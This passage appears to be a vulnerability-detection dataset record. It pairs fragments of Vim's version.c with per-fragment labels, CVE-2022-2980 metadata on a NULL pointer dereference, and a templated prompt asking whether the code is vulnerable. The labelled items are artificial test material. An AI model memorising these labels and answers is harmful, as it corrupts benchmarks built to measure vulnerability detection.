(i = 0; i < item_count; ++i)\n\t{\n\t version_msg_wrap(items[i], i == current);\n\t if (msg_col > 0 && i < item_count - 1)\n\t\tmsg_putchar('\\n');\n\t}\n\treturn;\n }", " // The rightmost column doesn't need a separator.\n // Sacrifice it to fit in one more column if possible.\n ncol = (int) (Columns + 1) / width;\n nrow = item_count / ncol + ((item_count % ncol) ? 1 : 0);", " // \"i\" counts columns then rows. \"idx\" counts rows then columns.\n for (i = 0; !got_int && i < nrow * ncol; ++i)\n {\n\tint idx = (i / ncol) + (i % ncol) * nrow;", "\tif (idx < item_count)\n\t{\n\t int last_col = (i + 1) % ncol == 0;", "\t if (idx == current)\n\t\tmsg_putchar('[');\n#ifdef FEAT_SYN_HL\n\t if (use_highlight && items[idx][0] == '-')\n\t\tmsg_puts_attr((char *)items[idx], HL_ATTR(HLF_W));\n\t else\n#endif\n\t\tmsg_puts((char *)items[idx]);\n\t if (idx == current)\n\t\tmsg_putchar(']');\n\t if (last_col)\n\t {\n\t\tif (msg_col > 0 && cur_row < nrow)\n\t\t msg_putchar('\\n');\n\t\t++cur_row;\n\t }\n\t else\n\t {\n\t\twhile (msg_col % width)\n\t\t msg_putchar(' ');\n\t }\n\t}\n\telse\n\t{\n\t // this row is out of items, thus at the end of the row\n\t if (msg_col > 0)\n\t {\n\t\tif (cur_row < nrow)\n\t\t msg_putchar('\\n');\n\t\t++cur_row;\n\t }\n\t}\n }\n}", " void\nlist_version(void)\n{\n int\t\ti;\n int\t\tfirst;\n char\t*s = \"\";", " /*\n * When adding features here, don't forget to update the list of\n * internal variables in eval.c!\n */\n init_longVersion();\n msg(longVersion);\n#ifdef MSWIN\n# ifdef FEAT_GUI_MSWIN\n# ifdef VIMDLL\n# ifdef _WIN64\n msg_puts(_(\"\\nMS-Windows 64-bit GUI/console version\"));\n# else\n msg_puts(_(\"\\nMS-Windows 32-bit GUI/console version\"));\n# endif\n# else\n# ifdef _WIN64\n msg_puts(_(\"\\nMS-Windows 64-bit GUI version\"));\n# else\n msg_puts(_(\"\\nMS-Windows 32-bit GUI version\"));\n# endif\n# endif\n# ifdef FEAT_OLE\n msg_puts(_(\" with OLE support\"));\n# endif\n# else\n# ifdef _WIN64\n msg_puts(_(\"\\nMS-Windows 64-bit console version\"));\n# else\n msg_puts(_(\"\\nMS-Windows 32-bit console version\"));\n# endif\n# endif\n#endif\n#if defined(MACOS_X)\n# if defined(MACOS_X_DARWIN)\n msg_puts(_(\"\\nmacOS version\"));\n# else\n msg_puts(_(\"\\nmacOS version w/o darwin feat.\"));\n# endif\n# if defined(__arm64__)\n msg_puts(\" - arm64\");\n# elif defined(__x86_64__)\n msg_puts(\" - x86_64\");\n# endif\n#endif", "#ifdef VMS\n msg_puts(_(\"\\nOpenVMS version\"));\n# ifdef HAVE_PATHDEF\n if (*compiled_arch != NUL)\n {\n\tmsg_puts(\" - \");\n\tmsg_puts((char *)compiled_arch);\n }\n# endif", "#endif", " // Print the list of patch numbers if there is at least one.\n // Print a range when patches are consecutive: \"1-10, 12, 15-40, 42-45\"\n if (included_patches[0] != 0)\n {\n\tmsg_puts(_(\"\\nIncluded patches: \"));\n\tfirst = -1;\n\ti = (int)ARRAY_LENGTH(included_patches) - 1;\n\twhile (--i >= 0)\n\t{\n\t if (first < 0)\n\t\tfirst = included_patches[i];\n\t if (i == 0 || included_patches[i - 1] != included_patches[i] + 1)\n\t {\n\t\tmsg_puts(s);\n\t\ts = \", \";\n\t\tmsg_outnum((long)first);\n\t\tif (first != included_patches[i])\n\t\t{\n\t\t msg_puts(\"-\");\n\t\t msg_outnum((long)included_patches[i]);\n\t\t}\n\t\tfirst = -1;\n\t }\n\t}\n }", " // Print the list of extra patch descriptions if there is at least one.\n if (extra_patches[0] != NULL)\n {\n\tmsg_puts(_(\"\\nExtra patches: \"));\n\ts = \"\";\n\tfor (i = 0; extra_patches[i] != NULL; ++i)\n\t{\n\t msg_puts(s);\n\t s = \", \";\n\t msg_puts(extra_patches[i]);\n\t}\n }", "#ifdef MODIFIED_BY\n msg_puts(\"\\n\");\n msg_puts(_(\"Modified by \"));\n msg_puts(MODIFIED_BY);\n#endif", "#ifdef HAVE_PATHDEF\n if (*compiled_user != NUL || *compiled_sys != NUL)\n {\n\tmsg_puts(_(\"\\nCompiled \"));\n\tif (*compiled_user != NUL)\n\t{\n\t msg_puts(_(\"by \"));\n\t msg_puts((char *)compiled_user);\n\t}\n\tif (*compiled_sys != NUL)\n\t{\n\t msg_puts(\"@\");\n\t msg_puts((char *)compiled_sys);\n\t}\n }\n#endif", "#if defined(FEAT_HUGE)\n msg_puts(_(\"\\nHuge version \"));\n#elif defined(FEAT_BIG)\n msg_puts(_(\"\\nBig version \"));\n#elif defined(FEAT_NORMAL)\n msg_puts(_(\"\\nNormal version \"));\n#elif defined(FEAT_SMALL)\n msg_puts(_(\"\\nSmall version \"));\n#else\n msg_puts(_(\"\\nTiny version \"));\n#endif\n#if !defined(FEAT_GUI)\n msg_puts(_(\"without GUI.\"));\n#elif defined(FEAT_GUI_GTK)\n# if defined(USE_GTK3)\n msg_puts(_(\"with GTK3 GUI.\"));\n# elif defined(FEAT_GUI_GNOME)\n msg_puts(_(\"with GTK2-GNOME GUI.\"));\n# else\n msg_puts(_(\"with GTK2 GUI.\"));\n# endif\n#elif defined(FEAT_GUI_MOTIF)\n msg_puts(_(\"with X11-Motif GUI.\"));\n#elif defined(FEAT_GUI_HAIKU)\n msg_puts(_(\"with Haiku GUI.\"));\n#elif defined(FEAT_GUI_PHOTON)\n msg_puts(_(\"with Photon GUI.\"));\n#elif defined(MSWIN)\n msg_puts(_(\"with GUI.\"));\n#endif\n version_msg(_(\" Features included (+) or not (-):\\n\"));", " list_features();\n if (msg_col > 0)\n\tmsg_putchar('\\n');", "#ifdef SYS_VIMRC_FILE\n version_msg(_(\" system vimrc file: \\\"\"));\n version_msg(SYS_VIMRC_FILE);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_VIMRC_FILE\n version_msg(_(\" user vimrc file: \\\"\"));\n version_msg(USR_VIMRC_FILE);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_VIMRC_FILE2\n version_msg(_(\" 2nd user vimrc file: \\\"\"));\n version_msg(USR_VIMRC_FILE2);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_VIMRC_FILE3\n version_msg(_(\" 3rd user vimrc file: \\\"\"));\n version_msg(USR_VIMRC_FILE3);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_EXRC_FILE\n version_msg(_(\" user exrc file: \\\"\"));\n version_msg(USR_EXRC_FILE);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef USR_EXRC_FILE2\n version_msg(_(\" 2nd user exrc file: \\\"\"));\n version_msg(USR_EXRC_FILE2);\n version_msg(\"\\\"\\n\");\n#endif\n#ifdef FEAT_GUI\n# ifdef SYS_GVIMRC_FILE\n version_msg(_(\" system gvimrc file: \\\"\"));\n version_msg(SYS_GVIMRC_FILE);\n version_msg(\"\\\"\\n\");\n# endif\n version_msg(_(\" user gvimrc file: \\\"\"));\n version_msg(USR_GVIMRC_FILE);\n version_msg(\"\\\"\\n\");\n# ifdef USR_GVIMRC_FILE2\n version_msg(_(\"2nd user gvimrc file: \\\"\"));\n version_msg(USR_GVIMRC_FILE2);\n version_msg(\"\\\"\\n\");\n# endif\n# ifdef USR_GVIMRC_FILE3\n version_msg(_(\"3rd user gvimrc file: \\\"\"));\n version_msg(USR_GVIMRC_FILE3);\n version_msg(\"\\\"\\n\");\n# endif\n#endif\n version_msg(_(\" defaults file: \\\"\"));\n version_msg(VIM_DEFAULTS_FILE);\n version_msg(\"\\\"\\n\");\n#ifdef FEAT_GUI\n# ifdef SYS_MENU_FILE\n version_msg(_(\" system menu file: \\\"\"));\n version_msg(SYS_MENU_FILE);\n version_msg(\"\\\"\\n\");\n# endif\n#endif\n#ifdef HAVE_PATHDEF\n if (*default_vim_dir != NUL)\n {\n\tversion_msg(_(\" fall-back for $VIM: \\\"\"));\n\tversion_msg((char *)default_vim_dir);\n\tversion_msg(\"\\\"\\n\");\n }\n if (*default_vimruntime_dir != NUL)\n {\n\tversion_msg(_(\" f-b for $VIMRUNTIME: \\\"\"));\n\tversion_msg((char *)default_vimruntime_dir);\n\tversion_msg(\"\\\"\\n\");\n }\n version_msg(_(\"Compilation: \"));\n version_msg((char *)all_cflags);\n version_msg(\"\\n\");\n#ifdef VMS\n if (*compiler_version != NUL)\n {\n\tversion_msg(_(\"Compiler: \"));\n\tversion_msg((char *)compiler_version);\n\tversion_msg(\"\\n\");\n }\n#endif\n version_msg(_(\"Linking: \"));\n version_msg((char *)all_lflags);\n#endif\n#ifdef DEBUG\n version_msg(\"\\n\");\n version_msg(_(\" DEBUG BUILD\"));\n#endif\n}", "static void do_intro_line(int row, char_u *mesg, int add_version, int attr);\nstatic void intro_message(int colon);", "/*\n * Show the intro message when not editing a file.\n */\n void\nmaybe_intro_message(void)\n{\n if (BUFEMPTY()\n\t && curbuf->b_fname == NULL\n\t && firstwin->w_next == NULL\n\t && vim_strchr(p_shm, SHM_INTRO) == NULL)\n\tintro_message(FALSE);\n}", "/*\n * Give an introductory message about Vim.\n * Only used when starting Vim on an empty file, without a file name.\n * Or with the \":intro\" command (for Sven :-).\n */\n static void\nintro_message(\n int\t\tcolon)\t\t// TRUE for \":intro\"\n{\n int\t\ti;\n int\t\trow;\n int\t\tblanklines;\n int\t\tsponsor;\n char\t*p;\n static char\t*(lines[]) =\n {\n\tN_(\"VIM - Vi IMproved\"),\n\t\"\",\n\tN_(\"version \"),\n\tN_(\"by Bram Moolenaar et al.\"),\n#ifdef MODIFIED_BY\n\t\" \",\n#endif\n\tN_(\"Vim is open source and freely distributable\"),\n\t\"\",\n\tN_(\"Help poor children in Uganda!\"),\n\tN_(\"type :help iccf<Enter> for information \"),\n\t\"\",\n\tN_(\"type :q<Enter> to exit \"),\n\tN_(\"type :help<Enter> or <F1> for on-line help\"),\n\tN_(\"type :help version9<Enter> for version info\"),\n\tNULL,\n\t\"\",\n\tN_(\"Running in Vi compatible mode\"),\n\tN_(\"type :set nocp<Enter> for Vim defaults\"),\n\tN_(\"type :help cp-default<Enter> for info on this\"),\n };\n#ifdef FEAT_GUI\n static char\t*(gui_lines[]) =\n {\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL,\n#ifdef MODIFIED_BY\n\tNULL,\n#endif\n\tNULL,\n\tNULL,\n\tNULL,\n\tN_(\"menu Help->Orphans for information \"),\n\tNULL,\n\tN_(\"Running modeless, typed text is inserted\"),\n\tN_(\"menu Edit->Global Settings->Toggle Insert Mode \"),\n\tN_(\" for two modes \"),\n\tNULL,\n\tNULL,\n\tNULL,\n\tN_(\"menu Edit->Global Settings->Toggle Vi Compatible\"),\n\tN_(\" for Vim defaults \"),\n };\n#endif", " // blanklines = screen height - # message lines\n blanklines = (int)Rows - (ARRAY_LENGTH(lines) - 1);\n if (!p_cp)\n\tblanklines += 4; // add 4 for not showing \"Vi compatible\" message", " // Don't overwrite a statusline. Depends on 'cmdheight'.\n if (p_ls > 1)\n\tblanklines -= Rows - topframe->fr_height;\n if (blanklines < 0)\n\tblanklines = 0;", " // Show the sponsor and register message one out of four times, the Uganda\n // message two out of four times.\n sponsor = (int)time(NULL);\n sponsor = ((sponsor & 2) == 0) - ((sponsor & 4) == 0);", " // start displaying the message lines after half of the blank lines\n row = blanklines / 2;\n if ((row >= 2 && Columns >= 50) || colon)\n {\n\tfor (i = 0; i < (int)ARRAY_LENGTH(lines); ++i)\n\t{\n\t p = lines[i];\n#ifdef FEAT_GUI\n\t if (p_im && gui.in_use && gui_lines[i] != NULL)\n\t\tp = gui_lines[i];\n#endif\n\t if (p == NULL)\n\t {\n\t\tif (!p_cp)\n\t\t break;\n\t\tcontinue;\n\t }\n\t if (sponsor != 0)\n\t {\n\t\tif (strstr(p, \"children\") != NULL)\n\t\t p = sponsor < 0\n\t\t\t? N_(\"Sponsor Vim development!\")\n\t\t\t: N_(\"Become a registered Vim user!\");\n\t\telse if (strstr(p, \"iccf\") != NULL)\n\t\t p = sponsor < 0\n\t\t\t? N_(\"type :help sponsor<Enter> for information \")\n\t\t\t: N_(\"type :help register<Enter> for information \");\n\t\telse if (strstr(p, \"Orphans\") != NULL)\n\t\t p = N_(\"menu Help->Sponsor/Register for information \");\n\t }\n\t if (*p != NUL)\n\t\tdo_intro_line(row, (char_u *)_(p), i == 2, 0);\n\t ++row;\n\t}\n }", " // Make the wait-return message appear just below the text.\n if (colon)\n\tmsg_row = row;\n}", " static void\ndo_intro_line(\n int\t\trow,\n char_u\t*mesg,\n int\t\tadd_version,\n int\t\tattr)\n{\n char_u\tvers[20];\n int\t\tcol;\n char_u\t*p;\n int\t\tl;\n int\t\tclen;\n#ifdef MODIFIED_BY\n# define MODBY_LEN 150\n char_u\tmodby[MODBY_LEN];", " if (*mesg == ' ')\n {\n\tvim_strncpy(modby, (char_u *)_(\"Modified by \"), MODBY_LEN - 1);\n\tl = (int)STRLEN(modby);\n\tvim_strncpy(modby + l, (char_u *)MODIFIED_BY, MODBY_LEN - l - 1);\n\tmesg = modby;\n }\n#endif", " // Center the message horizontally.\n col = vim_strsize(mesg);\n if (add_version)\n {\n\tSTRCPY(vers, mediumVersion);\n\tif (highest_patch())\n\t{\n\t // Check for 9.9x or 9.9xx, alpha/beta version\n\t if (isalpha((int)vers[3]))\n\t {\n\t\tint len = (isalpha((int)vers[4])) ? 5 : 4;\n\t\tsprintf((char *)vers + len, \".%d%s\", highest_patch(),\n\t\t\t\t\t\t\t mediumVersion + len);\n\t }\n\t else\n\t\tsprintf((char *)vers + 3, \".%d\", highest_patch());\n\t}\n\tcol += (int)STRLEN(vers);\n }\n col = (Columns - col) / 2;\n if (col < 0)\n\tcol = 0;", " // Split up in parts to highlight <> items differently.\n for (p = mesg; *p != NUL; p += l)\n {\n\tclen = 0;\n\tfor (l = 0; p[l] != NUL\n\t\t\t && (l == 0 || (p[l] != '<' && p[l - 1] != '>')); ++l)\n\t{\n\t if (has_mbyte)\n\t {\n\t\tclen += ptr2cells(p + l);\n\t\tl += (*mb_ptr2len)(p + l) - 1;\n\t }\n\t else\n\t\tclen += byte2cells(p[l]);\n\t}\n\tscreen_puts_len(p, l, row, col, *p == '<' ? HL_ATTR(HLF_8) : attr);\n\tcol += clen;\n }", " // Add the version number to the version line.\n if (add_version)\n\tscreen_puts(vers, row, col, 0);\n}", "/*\n * \":intro\": clear screen, display intro screen and wait for return.\n */\n void\nex_intro(exarg_T *eap UNUSED)\n{\n screenclear();\n intro_message(TRUE);\n wait_return(TRUE);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [542, 149, 733], "buggy_code_start_loc": [474, 149, 733], "filenames": ["src/mouse.c", "src/testdir/test_tabline.vim", "src/version.c"], "fixing_code_end_loc": [545, 164, 736], "fixing_code_start_loc": [474, 150, 734], "message": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "matchCriteriaId": "01913AB4-2601-4722-8852-1E3CB540F78E", "versionEndExcluding": "9.0.0259", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*", "matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259."}, {"lang": "es", "value": "Una Desreferencia de Puntero NULL en el repositorio de GitHub vim/vim versiones anteriores a 9.0.0259."}], "evaluatorComment": null, "id": "CVE-2022-2980", "lastModified": "2023-05-03T12:16:09.687", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-08-25T20:15:09.587", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, {"source": "security@huntr.dev", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://huntr.dev/bounties/6e7b12a5-242c-453d-b39e-9625d563b0ea"}, {"source": "security@huntr.dev", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL/"}, {"source": "security@huntr.dev", "tags": null, "url": "https://security.gentoo.org/glsa/202305-16"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-476"}], "source": "security@huntr.dev", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-476"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, "type": "CWE-476"}
141
Determine whether the {function_name} code is vulnerable or not.
[ "/* vi:set ts=8 sts=4 sw=4 noet:\n *\n * VIM - Vi IMproved\t\tby Bram Moolenaar\n *\n * Do \":help uganda\" in Vim to read copying and usage conditions.\n * Do \":help credits\" in Vim to see a list of people who contributed.\n * See README.txt for an overview of the Vim source code.\n */", "#include \"vim.h\"", "/*\n * Vim originated from Stevie version 3.6 (Fish disk 217) by GRWalter (Fred)\n * It has been changed beyond recognition since then.\n *\n * Differences between version 8.2 and 9.0 can be found with \":help version9\".\n * Differences between version 7.4 and 8.x can be found with \":help version8\".\n * Differences between version 6.4 and 7.x can be found with \":help version7\".\n * Differences between version 5.8 and 6.x can be found with \":help version6\".\n * Differences between version 4.x and 5.x can be found with \":help version5\".\n * Differences between version 3.0 and 4.x can be found with \":help version4\".\n * All the remarks about older versions have been removed, they are not very\n * interesting.\n */", "#include \"version.h\"", "char\t\t*Version = VIM_VERSION_SHORT;\nstatic char\t*mediumVersion = VIM_VERSION_MEDIUM;", "#if defined(HAVE_DATE_TIME) || defined(PROTO)\n# if (defined(VMS) && defined(VAXC)) || defined(PROTO)\nchar\tlongVersion[sizeof(VIM_VERSION_LONG_DATE) + sizeof(__DATE__)\n\t\t\t\t\t\t + sizeof(__TIME__) + 3];", " void\ninit_longVersion(void)\n{\n /*\n * Construct the long version string. Necessary because\n * VAX C can't concatenate strings in the preprocessor.\n */\n strcpy(longVersion, VIM_VERSION_LONG_DATE);\n#ifdef BUILD_DATE\n strcat(longVersion, BUILD_DATE);\n#else\n strcat(longVersion, __DATE__);\n strcat(longVersion, \" \");\n strcat(longVersion, __TIME__);\n#endif\n strcat(longVersion, \")\");\n}", "# else\nchar\t*longVersion = NULL;", " void\ninit_longVersion(void)\n{\n if (longVersion == NULL)\n {\n#ifdef BUILD_DATE\n\tchar *date_time = BUILD_DATE;\n#else\n\tchar *date_time = __DATE__ \" \" __TIME__;\n#endif\n\tchar *msg = _(\"%s (%s, compiled %s)\");\n\tsize_t len = strlen(msg)\n\t\t + strlen(VIM_VERSION_LONG_ONLY)\n\t\t + strlen(VIM_VERSION_DATE_ONLY)\n\t\t + strlen(date_time);", "\tlongVersion = alloc(len);\n\tif (longVersion == NULL)\n\t longVersion = VIM_VERSION_LONG;\n\telse\n\t vim_snprintf(longVersion, len, msg,\n\t\t VIM_VERSION_LONG_ONLY, VIM_VERSION_DATE_ONLY, date_time);\n }\n}\n# endif\n#else\nchar\t*longVersion = VIM_VERSION_LONG;", " void\ninit_longVersion(void)\n{\n // nothing to do\n}\n#endif", "static char *(features[]) =\n{\n#ifdef HAVE_ACL\n\t\"+acl\",\n#else\n\t\"-acl\",\n#endif\n#ifdef AMIGA\t\t// only for Amiga systems\n# ifdef FEAT_ARP\n\t\"+ARP\",\n# else\n\t\"-ARP\",\n# endif\n#endif\n#ifdef FEAT_ARABIC\n\t\"+arabic\",\n#else\n\t\"-arabic\",\n#endif\n\t\"+autocmd\",\n#ifdef FEAT_AUTOCHDIR\n \"+autochdir\",\n#else\n \"-autochdir\",\n#endif\n#ifdef FEAT_AUTOSERVERNAME\n\t\"+autoservername\",\n#else\n\t\"-autoservername\",\n#endif\n#ifdef FEAT_BEVAL_GUI\n\t\"+balloon_eval\",\n#else\n\t\"-balloon_eval\",\n#endif\n#ifdef FEAT_BEVAL_TERM\n\t\"+balloon_eval_term\",\n#else\n\t\"-balloon_eval_term\",\n#endif\n#ifdef FEAT_BROWSE\n\t\"+browse\",\n#else\n\t\"-browse\",\n#endif\n#ifdef NO_BUILTIN_TCAPS\n\t\"-builtin_terms\",\n#endif\n#ifdef SOME_BUILTIN_TCAPS\n\t\"+builtin_terms\",\n#endif\n#ifdef ALL_BUILTIN_TCAPS\n\t\"++builtin_terms\",\n#endif\n#ifdef FEAT_BYTEOFF\n\t\"+byte_offset\",\n#else\n\t\"-byte_offset\",\n#endif\n#ifdef FEAT_JOB_CHANNEL\n\t\"+channel\",\n#else\n\t\"-channel\",\n#endif\n\t\"+cindent\",\n#ifdef FEAT_CLIENTSERVER\n\t\"+clientserver\",\n#else\n\t\"-clientserver\",\n#endif\n#ifdef FEAT_CLIPBOARD\n\t\"+clipboard\",\n#else\n\t\"-clipboard\",\n#endif\n\t\"+cmdline_compl\",\n\t\"+cmdline_hist\",\n#ifdef FEAT_CMDL_INFO\n\t\"+cmdline_info\",\n#else\n\t\"-cmdline_info\",\n#endif\n\t\"+comments\",\n#ifdef FEAT_CONCEAL\n\t\"+conceal\",\n#else\n\t\"-conceal\",\n#endif\n#ifdef FEAT_CRYPT\n\t\"+cryptv\",\n#else\n\t\"-cryptv\",\n#endif\n#ifdef FEAT_CSCOPE\n\t\"+cscope\",\n#else\n\t\"-cscope\",\n#endif\n\t\"+cursorbind\",\n#ifdef CURSOR_SHAPE\n\t\"+cursorshape\",\n#else\n\t\"-cursorshape\",\n#endif\n#if defined(FEAT_CON_DIALOG) && defined(FEAT_GUI_DIALOG)\n\t\"+dialog_con_gui\",\n#else\n# if defined(FEAT_CON_DIALOG)\n\t\"+dialog_con\",\n# else\n# if defined(FEAT_GUI_DIALOG)\n\t\"+dialog_gui\",\n# else\n\t\"-dialog\",\n# endif\n# endif\n#endif\n#ifdef FEAT_DIFF\n\t\"+diff\",\n#else\n\t\"-diff\",\n#endif\n#ifdef FEAT_DIGRAPHS\n\t\"+digraphs\",\n#else\n\t\"-digraphs\",\n#endif\n#ifdef FEAT_GUI_MSWIN\n# ifdef FEAT_DIRECTX\n\t\"+directx\",\n# else\n\t\"-directx\",\n# endif\n#endif\n#ifdef FEAT_DND\n\t\"+dnd\",\n#else\n\t\"-dnd\",\n#endif\n\t\"-ebcdic\",\n#ifdef FEAT_EMACS_TAGS\n\t\"+emacs_tags\",\n#else\n\t\"-emacs_tags\",\n#endif\n#ifdef FEAT_EVAL\n\t\"+eval\",\n#else\n\t\"-eval\",\n#endif\n\t\"+ex_extra\",\n#ifdef FEAT_SEARCH_EXTRA\n\t\"+extra_search\",\n#else\n\t\"-extra_search\",\n#endif\n\t\"-farsi\",\n#ifdef FEAT_SEARCHPATH\n\t\"+file_in_path\",\n#else\n\t\"-file_in_path\",\n#endif\n#ifdef FEAT_FIND_ID\n\t\"+find_in_path\",\n#else\n\t\"-find_in_path\",\n#endif\n#ifdef FEAT_FLOAT\n\t\"+float\",\n#else\n\t\"-float\",\n#endif\n#ifdef FEAT_FOLDING\n\t\"+folding\",\n#else\n\t\"-folding\",\n#endif\n#ifdef FEAT_FOOTER\n\t\"+footer\",\n#else\n\t\"-footer\",\n#endif\n\t // only interesting on Unix systems\n#if !defined(USE_SYSTEM) && defined(UNIX)\n\t\"+fork()\",\n#endif\n#ifdef FEAT_GETTEXT\n# ifdef DYNAMIC_GETTEXT\n\t\"+gettext/dyn\",\n# else\n\t\"+gettext\",\n# endif\n#else\n\t\"-gettext\",\n#endif\n\t\"-hangul_input\",\n#if (defined(HAVE_ICONV_H) && defined(USE_ICONV)) || defined(DYNAMIC_ICONV)\n# ifdef DYNAMIC_ICONV\n\t\"+iconv/dyn\",\n# else\n\t\"+iconv\",\n# endif\n#else\n\t\"-iconv\",\n#endif\n\t\"+insert_expand\",\n#ifdef FEAT_IPV6\n\t\"+ipv6\",\n#else\n\t\"-ipv6\",\n#endif\n#ifdef FEAT_JOB_CHANNEL\n\t\"+job\",\n#else\n\t\"-job\",\n#endif\n\t\"+jumplist\",\n#ifdef FEAT_KEYMAP\n\t\"+keymap\",\n#else\n\t\"-keymap\",\n#endif\n#ifdef FEAT_EVAL\n\t\"+lambda\",\n#else\n\t\"-lambda\",\n#endif\n#ifdef FEAT_LANGMAP\n\t\"+langmap\",\n#else\n\t\"-langmap\",\n#endif\n#ifdef FEAT_LIBCALL\n\t\"+libcall\",\n#else\n\t\"-libcall\",\n#endif\n#ifdef FEAT_LINEBREAK\n\t\"+linebreak\",\n#else\n\t\"-linebreak\",\n#endif\n\t\"+lispindent\",\n\t\"+listcmds\",\n\t\"+localmap\",\n#ifdef FEAT_LUA\n# ifdef DYNAMIC_LUA\n\t\"+lua/dyn\",\n# else\n\t\"+lua\",\n# endif\n#else\n\t\"-lua\",\n#endif\n#ifdef FEAT_MENU\n\t\"+menu\",\n#else\n\t\"-menu\",\n#endif\n#ifdef FEAT_SESSION\n\t\"+mksession\",\n#else\n\t\"-mksession\",\n#endif\n\t\"+modify_fname\",\n\t\"+mouse\",\n#ifdef FEAT_MOUSESHAPE\n\t\"+mouseshape\",\n#else\n\t\"-mouseshape\",\n#endif", "#if defined(UNIX) || defined(VMS)\n# ifdef FEAT_MOUSE_DEC\n\t\"+mouse_dec\",\n# else\n\t\"-mouse_dec\",\n# endif\n# ifdef FEAT_MOUSE_GPM\n# ifdef DYNAMIC_GPM\n\t\"+mouse_gpm/dyn\",\n# else\n\t\"+mouse_gpm\",\n# endif\n# else\n\t\"-mouse_gpm\",\n# endif\n# ifdef FEAT_MOUSE_JSB\n\t\"+mouse_jsbterm\",\n# else\n\t\"-mouse_jsbterm\",\n# endif\n# ifdef FEAT_MOUSE_NET\n\t\"+mouse_netterm\",\n# else\n\t\"-mouse_netterm\",\n# endif\n#endif", "#ifdef __QNX__\n# ifdef FEAT_MOUSE_PTERM\n\t\"+mouse_pterm\",\n# else\n\t\"-mouse_pterm\",\n# endif\n#endif", "#if defined(UNIX) || defined(VMS)\n\t\"+mouse_sgr\",\n# ifdef FEAT_SYSMOUSE\n\t\"+mouse_sysmouse\",\n# else\n\t\"-mouse_sysmouse\",\n# endif\n# ifdef FEAT_MOUSE_URXVT\n\t\"+mouse_urxvt\",\n# else\n\t\"-mouse_urxvt\",\n# endif\n\t\"+mouse_xterm\",\n#endif", "#ifdef FEAT_MBYTE_IME\n# ifdef DYNAMIC_IME\n\t\"+multi_byte_ime/dyn\",\n# else\n\t\"+multi_byte_ime\",\n# endif\n#else\n\t\"+multi_byte\",\n#endif\n#ifdef FEAT_MULTI_LANG\n\t\"+multi_lang\",\n#else\n\t\"-multi_lang\",\n#endif\n#ifdef FEAT_MZSCHEME\n# ifdef DYNAMIC_MZSCHEME\n\t\"+mzscheme/dyn\",\n# else\n\t\"+mzscheme\",\n# endif\n#else\n\t\"-mzscheme\",\n#endif\n#ifdef FEAT_NETBEANS_INTG\n\t\"+netbeans_intg\",\n#else\n\t\"-netbeans_intg\",\n#endif\n\t\"+num64\",\n#ifdef FEAT_GUI_MSWIN\n# ifdef FEAT_OLE\n\t\"+ole\",\n# else\n\t\"-ole\",\n# endif\n#endif\n#ifdef FEAT_EVAL\n\t\"+packages\",\n#else\n\t\"-packages\",\n#endif\n#ifdef FEAT_PATH_EXTRA\n\t\"+path_extra\",\n#else\n\t\"-path_extra\",\n#endif\n#ifdef FEAT_PERL\n# ifdef DYNAMIC_PERL\n\t\"+perl/dyn\",\n# else\n\t\"+perl\",\n# endif\n#else\n\t\"-perl\",\n#endif\n#ifdef 